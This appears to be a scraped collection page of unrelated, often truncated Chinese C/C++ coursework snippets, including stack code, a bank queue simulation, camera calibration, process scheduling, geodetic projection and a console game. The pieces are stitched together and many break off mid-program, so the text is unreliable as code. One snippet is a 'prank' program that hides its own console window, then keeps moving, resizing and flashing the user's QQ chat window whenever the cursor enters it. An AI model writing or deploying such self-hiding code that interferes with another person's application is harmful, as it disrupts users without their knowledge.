定义控制台应用程序的入口点

合集下载

C++栈的基本操作

C++栈的基本操作

C++栈的基本操作1// zhan.cpp : 定义控制台应⽤程序的⼊⼝点。

2//34 #include "stdafx.h"5 #include <iostream>6using namespace std;7 typedef struct stacknode8 {9int data;10struct stacknode *next;11 }stacknode,*LinkStack;1213//判断栈为空14int StackEmpty(LinkStack &top)15 {16if(top ->next == NULL)17return1;18else19return0;20 }2122//⼊栈函数23 LinkStack push(LinkStack &top,int value)24 {25 LinkStack p = new stacknode;26if(p != NULL)27 {28 p ->data = value;//可以理解为在链表尾部插⼊⼀个节点。

29 p ->next = top ->next;30 top ->next = p;31 }32else33 cout << "没有内存可分配" << endl;34return top;35 }3637//出栈函数38int pop(LinkStack &top)39 {40 LinkStack temp = new stacknode;41int data;42if(StackEmpty(top))43 cout << "该栈为空!" << endl;44else45 {46 temp = top ->next;//可以理解为删除⼀个节点47 data = temp ->data;48 top ->next = temp ->next;49 delete(temp);50 }51return data;52 }5354//打印函数55void Print(LinkStack &top)56 {57 LinkStack top1 = top; //时刻要注意,我们不可以改变链表本⾝的值及指向,不过我们可以找别⼈来完成此事。

QQ窗口恶作剧程序

QQ窗口恶作剧程序

// FKQQ.cpp : 定义控制台应用程序的入口点。

//#include"stdafx.h"#include<windows.h>#include<time.h>void ghostfundation(HWND HQQWND) //显示和隐藏函数{ShowWindow(HQQWND, SW_SHOW);Sleep(200);ShowWindow(HQQWND, SW_HIDE);//显示和隐藏窗口Sleep(200);}int _tmain(int argc, _TCHAR* argv[]){ShowWindow(FindWindow(L"ConsoleWindowClass", argv[0]), 0); //查找窗口隐藏自身srand(time(nullptr));//随机数生成HWND HQQWND =FindWindow(L"TXGuiFoundation", L"QQ");//定位要调试的窗口while (!HQQWND){HQQWND = FindWindow(L"TXGuiFoundation", L"QQ");}//直到要操作的窗口出现,定位成功int x = 480, y = 460;while (true){POINT cursorpos = { 0 };GetCursorPos(&cursorpos);//获取鼠标位置RECT winrect = { 0 };GetWindowRect(HQQWND, &winrect);//获得窗口范围参数x -= rand() % 400, y -= rand() % 400;int a = rand() % 1200, b = rand() % 600;if (cursorpos.x > winrect.left&&cursorpos.x < winrect.right&&cursorpos.y <winrect.bottom&&cursorpos.y > winrect.top){MoveWindow(HQQWND, a, b, x, y, TRUE);//移动窗口,改变位置、大小}else{MoveWindow(HQQWND, winrect.left, winrect.top, x, y, TRUE);//只改变大小,不改变位置}ghostfundation(HQQWND);//调用函数x = 480, y = 460;}return 0;}。

模拟银行 C语言 数据结构 个人笔记

模拟银行 C语言 数据结构 个人笔记
QElemType data;
struct QNode *next;
}QNode,*QueuePtr;
typedef struct{
QueuePtr front;
QueuePtr rear;
}QueueList;
//预定义
#define Ywsj 20//业务时间
{Q.rear=Q.front;
}
Q.front=Q.front->next;
free(q);
}
else if(Q.front==Q.rear&&Q.front)
{free(Q.front);
Q.front=Q.rear=NULL;
{
while(Front->next)
{if(Front->next->data.OccurTime>data.OccurTime)
{LinkTemp->next=Front->next;
Front->next=LinkTemp;break;
}
}
void DelQueueAll(QueueList &Q)
{int Qn=1;
QueuePtr q;
for(Qn=1;Qn<=100;Qn++)
{if(Q.front!=Q.rear&&Q.front->next)
{q=Q.front;
if(Q.front->next==Q.rear)//当事件表有且只有一个元素时,处理尾指针悬空
Event ev;//事件元素
LinkQueue q[5];//四个客户链式队列

opencv相机标定代码

opencv相机标定代码

//// GenCaltab.cpp : 定义控制台应用程序的入口点。

//#include"stdafx.h"#include<opencv\cv.h>#include<opencv\highgui.h>#include<iostream>using namespace cv;using namespace std;typedef unsigned int uint;/*const string &*/void GenCaltab(const string &pathName, Mat &caltab/*string &outPathName*/, int width = 600, int height = 600, int cols = 20, int rows = 20) // 黑白的,單通道{Scalar color(0); // 背景色(全黑)caltab = Mat(height, width, CV_8UC1, color); // calibration table標定板(行*列對應於高*寬)//Mat caltab(height, width, CV_8UC1, color);int nWidthOfROI = int(width / float(cols));int imgHeight = caltab.rows;int imgWidth = caltab.cols;for (int j = 0; j < imgHeight; j++){uchar* data = caltab.ptr<uchar>(j);for (int i = 0; i < imgWidth; i++){if ((i / nWidthOfROI + j / nWidthOfROI) % 2){data[i] = 255; // 沒有三通道,單通道}}}Mat caltab1 = caltab.clone();imwrite(pathName, caltab);/*imshow("標定板", caltab);waitKey();*///outPathName = pathName;//return outPathName;}/*bool*/void CalibateCamera(Mat &image, Mat &cameraMatirx, Mat &distortionMat, vector<Mat> &rvecs, vector<Mat> &tvecs,int rows = 19, int cols = 19, float distance = 30, int flags = 0){// int cols = 10; int rows = 7; // 行列應該相等(正方形)// float distance = 30; // 標定板黑點間距為:30*30mm(內角點的間距,600/20 = 30)Size patternSize(cols, rows); // 標定板內每行或每列的內角點數:19*19 個(20-1)vector<Point2f> corners; // 角點(圖像平面還是成像平面????)vector<vector<Point2f>> cornersVect; // 角點矢量vector<Point3f> worldPoints; // 世界坐標點vector<vector<Point3f>> worldPointsVect; // 世界坐標點矢量for (int i = 0; i < cols; i++){for (int j = 0; j < rows; j++){// 此處是不是應該改一下?? ((i + 1) * distance, (j + 1) * distance, 0)worldPoints.push_back(Point3f(i * distance, j * distance, 0));// z = 0;//worldPoints.push_back(Point3f((i + 1) * distance, (j + 1) * distance, 0));// z = 0;}}// int *corner = NULL;bool find = findChessboardCorners(image, patternSize, corners); // 沒有找到角點!!!!(此時可行了)drawChessboardCorners(image, patternSize, corners, find); // 繪製棋盤角點// Mat cameraMatirx, distortionMat;// vector<Mat> rvecs, tvecs, rvecs2, tvecs2; // r:rotate(旋轉);t:transplant(平移)if (find){cornersVect.push_back(corners); // 沒有循環怎麼將數據壓入??worldPointsVect.push_back(worldPoints);calibrateCamera(worldPointsVect, cornersVect, image.size(), cameraMatirx, distortionMat, rvecs, tvecs);}/*imshow("", image);waitKey();*/}int_tmain(int argc, _TCHAR* argv[]){//string pathName = {'\0'};Mat caltab;GenCaltab("C:\\Users\\liyabin_sumeida\\Desktop\\1.jpg", caltab/*pathName*//*, 891, 630, 10, 7*/);//waitKey(0); // 按任意鍵caltab = imread("C:\\Users\\liyabin_sumeida\\Desktop\\1.jpg"); // (注釋以後)這樣雖然可行,但不是彩色的Mat cameraMatirx, distortionMat;vector<Mat> rvecs,tvecs;CalibateCamera(caltab, cameraMatirx, distortionMat, rvecs, tvecs /*, 7, 10, 90, 0*/);printf("相機內參數:\n");for (int i = 0; i < cameraMatirx.size().height; i++){uchar *data = cameraMatirx.ptr<uchar>(i);for (int j = 0; j < cameraMatirx.size().width; j++){printf("\t %d\n", data[j]);}}printf("畸變矩陣:\n");for (int i = 0; i < distortionMat.size().height; i++){uchar *data = distortionMat.ptr<uchar>(i);for (int j = 0; j < distortionMat.size().width; j++){printf("\t%d\n", data[j]);}}printf("相機外參數之旋轉矩陣:\n");for (uint i = 0; i < rvecs.size(); i++) // vector是三維的???{printf("第【%d】個矩陣的值:\n", i);Mat rMat = rvecs[i]; // 某一個矩陣for (int j = 0; j < rMat.size().height; j++){uchar *data = rMat.ptr<uchar>(j); // 指向某一行for (int k = 0; k < rMat.size().width; k++){printf(" %d\n", data[k]);;}}}printf("相機外參數之平移矩陣:\n");for (uint i = 0; i < tvecs.size(); i++) // vector是三維的???{printf("第【%d】個矩陣的值:\n", i);Mat rMat = tvecs[i]; // 某一個矩陣for (int j = 0; j < rMat.size().height; j++){uchar *data = rMat.ptr<uchar>(j); // 指向某一行for (int k = 0; k < rMat.size().width; k++){printf(" %d\n",data[k]);}}}imshow("標定圖像", caltab);waitKey();return 0;}。

C++11处理时间和日期的处理,以及chrono库介绍

C++11处理时间和日期的处理,以及chrono库介绍

C++11处理时间和⽇期的处理,以及chrono库介绍C++11提供了⽇期和时间相关的库chrono,通过这个库可以很⽅便的对时间和⽇期进⾏处理:chrono库主要包含三种类型:1.时间间隔duration介绍⼀下duraton的原型:template<class Rep, class Period=std::ratio<1, 1>>class duration;Rep表⽰时钟数的类型,Period表⽰时钟周期。

C++标准库中的⼀些时间间隔:typedf duration<Rep, ratio<3600, 1>> hours;typedf duration<Rep, ratio<60, 1>> minutes;typedf duration<Rep, ratio<3600, 1>> seconds;typedf duration<Rep, ratio<1, 1000>> milliseconds;同时,还提供了获取时钟周期数的⽅法count().// ConsoleApplication1.cpp : 定义控制台应⽤程序的⼊⼝点。

#include "stdafx.h"#include <iostream>#include <random>#include <chrono>int main(){std::chrono::milliseconds ms(3); // 3msstd::chrono::microseconds micro_s = 2 * ms;std::cout << "milliseconds count is " << ms.count() << std::endl;std::cout << "microseconds count is " << micro_s.count() << std::endl;std::chrono::duration<double, std::ratio<1, 30>> hz30(3.5); // 30hz time clock// 时间相减std::chrono::minutes t1(10);std::chrono::seconds t2(64);std::chrono::seconds t3 = t1 - t2;std::cout << "t3 count is " << t3.count() << std::endl;std::cout << typeid(t3).name() << std::endl; // 查看变量的类型// 对时钟周期的转换std::chrono::minutes h1 = std::chrono::duration_cast<std::chrono::minutes>(t3); // 这个转换只能转换为整数std::cout << "The minute is " << h1.count() << std::endl;return 0;}运⾏结果如下所⽰:2.时钟clockclocks表⽰当前的系统时钟。

cc++实现获取域名的IP地址

cc++实现获取域名的IP地址

cc++实现获取域名的IP地址c/c++实现获取域名的IP地址// GetHostIP.cpp : 定义控制台应⽤程序的⼊⼝点。

//#include "stdafx.h"#include <winsock2.h>#include <ws2tcpip.h>#include <stdio.h>#include <windows.h>#pragma comment(lib, "ws2_32.lib")int main(int argc, char **argv){//-----------------------------------------// Declare and initialize variables/** WSADATA结构被⽤来储存调⽤AfxSocketInit全局函数返回的Windows Sockets初始化信息。

* 这个结构被⽤来存储被WSAStartup函数调⽤后返回的Windows Sockets数据。

它包含Winsock.dll执⾏的数据。

*/WSADATA wsaData;int iResult;DWORD dwError; /*每个word为2个字节的长度,DWORD 双字即为4个字节,每个字节是8位*/int i = 0;struct hostent *remoteHost; /*域名*/char *host_name; /*主机名*/struct in_addr addr; /*ip*/char **pAlias;// Validate the parametersif (argc != 2) {printf("usage: GetHostIP hostname\n");return 1;}// 此处应添加的程序如下// 1. 当初始化winsocketiResult = WSAStartup(MAKEWORD(2,2),&wsaData);/* & 取地址*/// 2. 检查该socket是否初始化成功,即该socket是否等于0;如果初始化不成功,应当给出错误报警,并结束程序。

C语言_愤怒的小鸟

C语言_愤怒的小鸟

C语⾔_愤怒的⼩鸟// ConsoleApplication4.cpp : 定义控制台应⽤程序的⼊⼝点。

//#include "stdafx.h"#include<stdio.h>#include<stdlib.h>#include<conio.h>#include<time.h>#include<Windows.h>/********函数变量声明********/#define PR_Box printf("■")#define PR_Gold printf("★")#define PR_Ag printf("☆")#define PR_FBird printf("Ю")#define PR_DBird printf("Ф")#define PR_Land printf("┳┳┯")#define PR_Bg_TL printf("╔")#define PR_Bg_TR printf("╗")#define PR_Bg_DL printf("╚")#define PR_Bg_DR printf("╝")#define PR_Bg_X printf("═")#define PR_Bg_Y printf("║")#define PR_Blank printf(" ");int Grade = 1, C_Gold = 0, C_Ag = 0, Score = 0, Delay_time = 1000, Max_blank = 9, Distance = 18;//Grade 游戏等级//Score 分数//Max_blank 上下两个烟囱之间的最⼤距离//Distance 左右两个烟囱之间的距离struct Birds//⼩鸟的结构体{int x, y;//⼩鸟的位置int condition;//此变量未⽤};Birds *Bird = (Birds*)malloc(sizeof(Birds));//给⼩鸟指针分配空间struct Bg//烟囱的结构体--循环双向链表{int x, y;//上烟囱的左下⾓砖块的坐标int l_blank;//上相两个烟囱之间的距离int reward[9];Bg *pri;//前指针-指向前⼀个结点Bg *next;//后指针-指向后⼀个结点};Bg *Bg1 = new Bg[sizeof(Bg)];//将⼀个烟囱结点设置成全局变量void Position(int x, int y)//将光标移动到X,Y坐标处{COORD pos = { x - 1, y - 1 };HANDLE Out = GetStdHandle(STD_OUTPUT_HANDLE);SetConsoleCursorPosition(Out, pos);}void CreatBird()//创建⼩鸟{Bird->x = 41;//⼩鸟的坐标Bird->y = 10;Bird->condition = 0;}void CreatBg()//创建数据结构为循环双向链表的烟囱{Bg *Bg2 = (Bg*)malloc(sizeof(Bg));Bg1->x = 90; Bg1->y = 8;Bg2->x = Bg1->x + Distance; Bg2->y = 9;Bg1->l_blank = Max_blank - Grade;Bg2->l_blank = Max_blank - Grade;Bg1->next = Bg2;Bg1->pri = Bg2;Bg2->next = Bg1;Bg2->pri = Bg1;}void InsertBg(Bg *p)//创建⼀个结点插⼊到传⼊结点之前。

操作系统进程调度C语言代码

操作系统进程调度C语言代码

操作系统进程调度C语言代码(总16页)本页仅作为文档封面,使用时可以删除This document is for reference only-rar21year.March// sun.cpp : 定义控制台应用程序的入口点。

//本算法包含四种调度:先到先服务,短作业优先,时间片轮转,优先级优先!#include"stdio.h"#define N 50void main(){ void sjp();void fcfs();void sjf();void yxj();int a;while(true){printf("\n\n");printf("\t\t/*************************/");printf("\n\t\t/* 1、先到先服务调度 */");printf("\n\t\t/* 2、短作业优先调度 */");printf("\n\t\t/* 3、时间片轮转调度 */");printf("\n\t\t/* 4、优先级优先调度 */");printf("\n\t\t/* 0、退出 */\n");printf("\t\t/*************************/");printf("\n\n\t请选择菜单项:\t");scanf("%d",&a);printf("\n");switch(a){case 1: fcfs();break;case 2: sjf();break;case 3: sjp();break;case 4: yxj();break;default: break;}if(a<0&&a>4) break;}}void sjp(){int i,j,n,min,px,sjp,time;float sum1,sum2;bool flag=true;printf("\t请输入有n个进程(0<n<=50):\t"); scanf("%d",&n);while(n>50||n<=0){printf("n\t请重新输入: ");scanf("%d",&n);}printf("\n\n");printf("\t请输入时间片大小(0<sjp):\t"); scanf("%d",&sjp);while(sjp<=0){printf("n\t请重新输入: ");scanf("%d",&sjp);}struct Gzuo{int id; //进程名字int dt; //到达时刻int st; //服务时间int wct; //完成时刻int st2; //标志是否完成float zt; //周转时间float dczt; //带权周转时间};Gzuo a[N];for(i=0;i<n;i++){a[i].id=i+1;printf("\t到达时间: ");scanf("%d",&a[i].dt);printf("\t服务时间: ");scanf("%d",&a[i].st);a[i].st2 = a[i].st;printf("\n");}for(j=n-1;j>=0;j--){for(i=0;i<j;i++){if(a[i].dt>a[i+1].dt){min=a[i].dt;a[i].dt=a[i+1].dt;a[i].st=a[i+1].st;a[i+1].st=min;min=a[i].st2;a[i].st2=a[i+1].st2;a[i+1].st2=min;min=a[i].id;a[i].id=a[i+1].id;a[i+1].id=min;}}}time = a[0].dt;//printf("赋值后TIME值为:%d\n",time);min = 0;while(min<n){flag = true;for(i = 0;i<n;i++){if(a[i].st2>0&&a[i].dt<=time)flag = false;}for(i=0;i<n;i++){if(a[i].st2 > 0 ){if(a[i].dt<=time){//printf("当前a[%d].st2值为:%d\n",i,a[i].st2);a[i].st2 = a[i].st2 - sjp;//printf("运算后当前a[%d].st2值为:%d\n",i,a[i].st2);//printf("当前TIME值为:%d\n",time);time = time + sjp;//printf("增加之后TIME值为:%d\n",time);if(a[i].st2<=0){a[i].wct = time + a[i].st2;a[i].zt=(float)(a[i].wct-a[i].dt);a[i].dczt=a[i].zt/a[i].st;min++;}}else if(flag){for(i=0;i<n;i++){if(a[i].st2>0&&a[i].dt>time){time = a[i].dt;break;}}}}}}printf("\t1、按id号依次输出\n");printf("\t2、按完成顺序依次输出\n");printf("\n\t请选择输出顺序:\t");scanf("%d",&px);printf("\nid:到达时间\t服务时间\t完成时间\t周转时间\t带权周转时间\n");sum1=0;sum2=0;switch(px){case 2:{for(i=0;i<n;i++){printf("%d: %d\t\t%d\t\t%d\t\t%.0f\t\t%.2f\n",a[i].id,a[i].dt,a[i].st,a[i].wct,a[i]. zt,a[i].dczt);sum1+=a[i].zt;sum2+=a[i].dczt;}printf("\n平均周转时间:%.2f\n",sum1/n);printf("\n平均带权周转时间:%.2f\n\n",sum2/n);break;}case 1:{for(j=0;j<n;j++){for(i=0;i<n;i++)if(a[i].id==j+1){printf("%d: %d\t\t%d\t\t%d\t\t%.0f\t\t%.2f\n",a[i].id,a[i].dt,a[i].st,a[i].wct,a[i]. zt,a[i].dczt);sum1+=a[i].zt;sum2+=a[i].dczt;}}printf("\n平均周转时间:%.2f\n",sum1/n);printf("\n平均带权周转时间:%.2f\n\n",sum2/n);break;}default: break;}}void fcfs(){int i,j,n,min,px;float sum1,sum2;printf("\t请输入有n个进程(0<n<=50):\t");scanf("%d",&n);while(n>50||n<=0){printf("n\t请重新输入: ");scanf("%d",&n);}printf("\n\n");struct Gzuo{int id; //进程名字int dt; //到达时刻int st; //服务时间int wct; //完成时刻float zt; //周转时间float dczt; //带权周转时间};Gzuo a[N];for(i=0;i<n;i++){a[i].id=i+1;printf("\t到达时间: ");scanf("%d",&a[i].dt);printf("\t服务时间: ");scanf("%d",&a[i].st);printf("\n");}for(j=n-1;j>=0;j--){for(i=0;i<j;i++){if(a[i].dt>a[i+1].dt){min=a[i].dt;a[i].dt=a[i+1].dt;a[i+1].dt=min;min=a[i].st;a[i].st=a[i+1].st;a[i+1].st=min;min=a[i].id;a[i].id=a[i+1].id;a[i+1].id=min;}}}a[0].wct=a[0].st+a[0].dt;a[0].zt=(float)a[0].st;a[0].dczt=a[0].zt/a[0].st;for(i=1;i<n;i++){if(a[i].dt>a[i-1].wct){a[i].wct=a[i].dt+a[i].st;a[i].zt=(float)a[i].st;a[i].dczt=a[i].zt/a[i].st;}else{a[i].wct=a[i-1].wct+a[i].st;a[i].zt=(float)(a[i].wct-a[i].dt);a[i].dczt=a[i].zt/a[i].st;}}printf("\t1、按id号依次输出\n");printf("\t2、按完成顺序依次输出\n");printf("\n\t请选择输出顺序:\t");scanf("%d",&px);printf("\nid:到达时间\t服务时间\t完成时间\t周转时间\t带权周转时间\n");sum1=0;sum2=0;switch(px){case 2:{for(i=0;i<n;i++){printf("%d: %d\t\t%d\t\t%d\t\t%.0f\t\t%.2f\n",a[i].id,a[i].dt,a[i].st,a[i].wct,a[i]. zt,a[i].dczt);sum1+=a[i].zt;sum2+=a[i].dczt;}printf("\n平均周转时间:%.2f\n",sum1/n);printf("\n平均带权周转时间:%.2f\n\n",sum2/n);break;}case 1:{for(j=0;j<n;j++){for(i=0;i<n;i++)if(a[i].id==j+1){printf("%d: %d\t\t%d\t\t%d\t\t%.0f\t\t%.2f\n",a[i].id,a[i].dt,a[i].st,a[i].wct,a[i]. zt,a[i].dczt);sum1+=a[i].zt;sum2+=a[i].dczt;}}printf("\n平均周转时间:%.2f\n",sum1/n);printf("\n平均带权周转时间:%.2f\n\n",sum2/n);break;}default: break;}}void sjf(){int i,j,n,min,px;int b=0,z;float sum1,sum2;printf("\n\t\t请输入有n个进程(0<n<=50):\t");scanf("%d/n",&n);while(n>50||n<=0){printf("n\t请重新输入: ");scanf("%d",&n);}printf("\n");struct Gzuo{int id; //进程名字int dt; //到达时刻int st; //服务时间int wct; //完成时刻float zt; //周转时间float dczt; //带权周转时间};Gzuo a[N];for(i=0;i<n;i++){a[i].id=i+1;printf("\t到达时间: ");scanf("%d",&a[i].dt);printf("\t服务时间: ");scanf("%d",&a[i].st);printf("\n");}min=a[0].dt;for(j=n-1;j>=0;j--){for(i=0;i<j;i++){if(a[i].dt>a[i+1].dt){min=a[i].dt;a[i].dt=a[i+1].dt;a[i+1].dt=min;min=a[i].st;a[i].st=a[i+1].st;a[i+1].st=min;min=a[i].id;a[i].id=a[i+1].id;a[i+1].id=min;}if(a[i].dt==a[i+1].dt&&a[i].st>a[i+1].st){min=a[i].dt;a[i].dt=a[i+1].dt;a[i+1].dt=min;min=a[i].st;a[i].st=a[i+1].st;a[i+1].st=min;min=a[i].id;a[i].id=a[i+1].id;a[i+1].id=min;}}}a[0].wct=a[0].st+a[0].dt;a[0].zt=(float)a[0].st;a[0].dczt=a[0].zt/a[0].st;for(i=1;i<n;i++){if(a[i].dt>a[0].wct) ;else b=b+1;}for(j=b-1;j>=1;j--){for(i=1;i<j;i++){if(a[i].st>a[i+1].st){min=a[i].dt;a[i].dt=a[i+1].dt;a[i+1].dt=min;min=a[i].st;a[i].st=a[i+1].st; a[i+1].st=min;min=a[i].id;a[i].id=a[i+1].id;a[i+1].id=min;}}}for(i=1;i<n;i++){if(a[i].dt>a[i-1].wct){a[i].wct=a[i].dt+a[i].st;a[i].zt=(float)a[i].st;a[i].dczt=a[i].zt/a[i].st;}else{a[i].wct=a[i-1].wct+a[i].st;a[i].zt=(float)(a[i].wct-a[i].dt);a[i].dczt=a[i].zt/a[i].st;}for(j=i+1,b=j;j<n;j++){if(a[j].dt>a[i].wct) ;else b=b+1;}for(j=b-1;j>=i;j--){for(z=i;z<j;z++){if(a[z].st>a[z+1].st){min=a[z].dt;a[z].dt=a[z+1].dt;a[z+1].dt=min;min=a[z].st;a[z].st=a[z+1].st;a[z+1].st=min;min=a[i].id;a[i].id=a[i+1].id;a[i+1].id=min;}}}}printf("\n\t请选择输出顺序\n");printf("\t1、按id号依次输出\n");printf("\t2、按完成顺序依次输出\n");scanf("%d",&px);printf("\nid:到达时间\t服务时间\t完成时间\t周转时间\t带权周转时间\n");sum1=0;sum2=0;switch(px){case 2:{for(i=0;i<n;i++){printf("%d: %d\t\t%d\t\t%d\t\t%.0f\t\t%.2f\n",a[i].id,a[i].dt,a[i].st,a[i].wct,a[i]. zt,a[i].dczt);sum1+=a[i].zt;sum2+=a[i].dczt;}printf("\n平均周转时间:%.2f\n",sum1/n);printf("\n平均带权周转时间:%.2f\n\n",sum2/n);break;}case 1:{for(j=0;j<n;j++){ for(i=0;i<n;i++)if(a[i].id==j+1){printf("%d: %d\t\t%d\t\t%d\t\t%.0f\t\t%.2f\n",a[i].id,a[i].dt,a[i].st,a[i].wct,a[i]. zt,a[i].dczt);sum1+=a[i].zt;sum2+=a[i].dczt;}}printf("\n平均周转时间:%.2f\n",sum1/n);printf("\n平均带权周转时间:%.2f\n\n",sum2/n); break;}default: break;}}void yxj(){int i,j,n,min,px;int b=0,z;float sum1,sum2;printf("\n\t\t请输入有n个进程(0<n<=50):\t");scanf("%d/n",&n);while(n>50||n<=0){printf("n\t请重新输入: ");scanf("%d",&n);}printf("\n");struct Gzuo{int id; //进程名字int dt; //到达时刻int st; //服务时间int yxj; //优先级int wct; //完成时刻float zt; //周转时间float dczt; //带权周转时间};Gzuo a[N];for(i=0;i<n;i++){a[i].id=i+1;printf("\t到达时间: ");scanf("%d",&a[i].dt);printf("\t服务时间: ");scanf("%d",&a[i].st);printf("\t优先级: ");scanf("%d",&a[i].yxj);printf("\n");}min=a[0].dt;for(j=n-1;j>=0;j--) {for(i=0;i<j;i++){if(a[i].dt>a[i+1].dt){min=a[i].dt;a[i].dt=a[i+1].dt;a[i+1].dt=min;min=a[i].st;a[i].st=a[i+1].st;a[i+1].st=min;min=a[i].id;a[i].id=a[i+1].id;a[i+1].id=min;min=a[i].yxj;a[i].yxj=a[i+1].yxj;a[i+1].yxj=min;}if(a[i].dt==a[i+1].dt&&a[i].yxj<a[i+1].yxj){min=a[i].dt;a[i].dt=a[i+1].dt;a[i+1].dt=min;min=a[i].st;a[i].st=a[i+1].st;a[i+1].st=min;min=a[i].id;a[i].id=a[i+1].id;a[i+1].id=min;min=a[i].yxj;a[i].yxj=a[i+1].yxj;a[i+1].yxj=min;}}}a[0].wct=a[0].st+a[0].dt;a[0].zt=(float)a[0].st;a[0].dczt=a[0].zt/a[0].st;for(i=1;i<n;i++) {if(a[i].dt>a[0].wct) ;else b++;}for(j=b-1;j>=1;j--){for(i=1;i<j;i++){if(a[i].yxj<a[i+1].yxj){min=a[i].dt;a[i].dt=a[i+1].dt;a[i+1].dt=min;min=a[i].st;a[i].st=a[i+1].st;a[i+1].st=min;min=a[i].id;a[i].id=a[i+1].id;a[i+1].id=min;min=a[i].yxj;a[i].yxj=a[i+1].yxj;a[i+1].yxj=min;}}}for(i=1;i<n;i++){if(a[i].dt>a[i-1].wct){a[i].wct=a[i].dt+a[i].st;a[i].zt=(float)a[i].st;a[i].dczt=a[i].zt/a[i].st;}else{a[i].wct=a[i-1].wct+a[i].st;a[i].zt=(float)(a[i].wct-a[i].dt);a[i].dczt=a[i].zt/a[i].st;}for(j=i+1,b=j;j<n;j++){if(a[j].dt>a[i].wct) ;else b=b+1;}for(j=b-1;j>=i;j--){for(z=i;z<j;z++){if(a[z].yxj<a[z+1].yxj){min=a[z].dt;a[z].dt=a[z+1].dt;a[z+1].dt=min;min=a[z].st;a[z].st=a[z+1].st;a[z+1].st=min;min=a[i].id;a[i].id=a[i+1].id;a[i+1].id=min;}}}}printf("\n\t请选择输出顺序\n");printf("\t1、按id号依次输出\n");printf("\t2、按完成顺序依次输出\n");scanf("%d",&px);printf("\nid:到达时间\t服务时间\t优先级\t完成时间\t周转时间\t带权周转时间\n");sum1=0;sum2=0;switch(px){case 2:{for(i=0;i<n;i++){printf("%d: %d\t\t%d\t\t%d\t\t%d\t\t%.0f\t\t%.2f\n",a[i].id,a[i].dt,a[i].yxj,a[i].s t,a[i].wct,a[i].zt,a[i].dczt);sum1+=a[i].zt;sum2+=a[i].dczt;}printf("\n平均周转时间:%.2f\n",sum1/n);printf("\n平均带权周转时间:%.2f\n\n",sum2/n);break;}case 1:{for(j=0;j<n;j++){ for(i=0;i<n;i++)if(a[i].id==j+1){printf("%d: %d\t\t%d\t\t%d\t\t%d\t\t%.0f\t\t%.2f\n",a[i].id,a[i].dt,a[i].yxj,a[i].s t,a[i].wct,a[i].zt,a[i].dczt);sum1+=a[i].zt;sum2+=a[i].dczt;}}printf("\n平均周转时间:%.2f\n",sum1/n);printf("\n平均带权周转时间:%.2f\n\n",sum2/n);break;}default: break;}}17。

序贯平差

序贯平差
return (i >= j) ? i*(i + 1) / 2 + j : j*(j + 1) / 2 + i; } ////////////////////////////////////////////////////// //显示提示信息 void MyBreak(char *fmt, ...) {
pvv += V[j] * VV[i] * P[ij(i, j)];
} }
delete[]VV; delete[]Qv; delete[]M; delete[]J;
return sqrt(pvv / n); } ////////////////////////////////////////////////////////////////////////////// //序贯平差例题 void SuccessivExample() {
for (int j = 0; j < n; j++) {
double Jij = 0.0; for (int k = 0; k < n; k++)
Jij += M[k*t + i] * Qv[ij(k, j)]; J[i*n + j] = Jij; } }
//计算X for (int i = 0; i < t; i++) {
fprintf(fp, "\n%s:", title);
int index = 0; for (int i = 0; i < n; i++) {
if (IsLabel) fprintf(fp, "\n%3d", i + 1);

高斯投影正反算程序

高斯投影正反算程序
{
printf("高斯投影反算\nunder CGCS2000,六度带\n测试数据:x=2562083.2708,y=19512837.2851\n");
double a=6378137;
double f=1/298.257222101;
double e2=-f*f+2*f;
double x=2562083.2708;
double y=19512837.2851;
int Y=int(y);
int count=0;
while (Y>=100)
{
Y=Y/10;
count++;
}
y=y-Y*pow(10.0,count)-500000;
{
int model;
printf("高斯投影正算请输入1,反算请输入2\n");
scanf("%d",&model);
if(model==1)
{
printf("高斯投影正算\nunder WGS-84,六度带\n测试数据:B=22.155898294,L=111.285215387\n");
double W=sqrt(1-e2*sin(B)*sin(B));
double N=a/W;
double ep2=e2/(1-e2);
double ita2=ep2*cos(B)*cos(B);
double t=tan(B);
double temp1=5-t*t+9*ita2+4*ita2*ita2;
fBf=-a2*sin(2*Bf)/2+a4*sin(4*Bf)/4-a6*sin(6*Bf)/6+a8*sin(8*Bf)/8;

最小二乘配置

最小二乘配置
fprintf(fp, fmt, A[i]); } fprintf(fp, "\n"); } ///////////////////////////////////////////////////////////////////// // 向文件输出对称矩阵(下三角元素) void PrintM2(FILE *fp, double M[], int n, int t, char *fmt, char *title, bool IsLabel) { if (title)
X = new double[t];//参数估值 PL = new double[n*(n + 1) / 2];//预测残差的权矩阵 QX = new double[t*(t + 1) / 2];//X的权逆阵 G = new double[n*(n + 1) / 2];//临时矩阵,用于QS计算
int nn = n*(n + 1) / 2; for (int i = 0; i < nn; i++)
Jack 专属
//数组初始化、非随机参数计算函数 bool Compute(double *A, double *L, double *P, double *QS, int n, int t);
//计算显信号及其协方差 bool Get_S1(double *S); bool Get_QS1(double *QQ);
return (i >= j) ? i*(i + 1) / 2 + j : j*(j + 1) / 2 + i; }
/////////////////////////////////////////////// // 对称正定矩阵求逆(仅存下三角元素) bool inverse(double a[], int n) {

MATLAB高斯正反算

MATLAB高斯正反算
cout<<"【反算】"<<endl;
cout<<"请输入国家统一坐标 X Y。例如 3378627.1819 20243953.4517"<<endl;
cin>>myX>>myY;
FansuanmyFansuan1(myX,myY);
myFansuan1.printLocation();
printf("Radian B=%f L=%f \n",myZhengsuan1.getrB(),myZhengsuan1.getrL());
? myZhengsuan1.printLocation();?
}?
voidfansuan()
{
doublemyX,myY;
{
printf("正算得国家统一坐标为: X= %8.8f Y=%8.8f \n",X,Y);
}
doubleZhengsuan::getrB()
{
returnrB;
}
doubleZhengsuan::getrL()
{
returnrL;
}
///反算类
Fansuan.h
Fansuan.h: interface for the Fansuan class.
#if !defined(AFX_FANSUAN_H__5B5E4668_EE81_463F_8D65_FFE2AEACE745__INCLUDED_)
#define AFX_FANSUAN_H__5B5E4668_EE81_463F_8D65_FFE2AEACE745__INCLUDED_

计算机软件实验报告

计算机软件实验报告

计算机软件基础实验实验一:键盘输入一组无序数据,添加到线性表中;排序线性表并输出排序结果;键盘输入一个数,并插入到排好序的线性表中(要求插入后的表仍为有序表),输出结果;键盘输入一个数,并从线性表中删除相应的数据,输出结果。

程序清单:// Experiment1.cpp : 定义控制台应用程序的入口点。

//#include "stdafx.h"#include "iostream"#include <conio.h>// 程序实现有各种方法,这里给出一个实例。

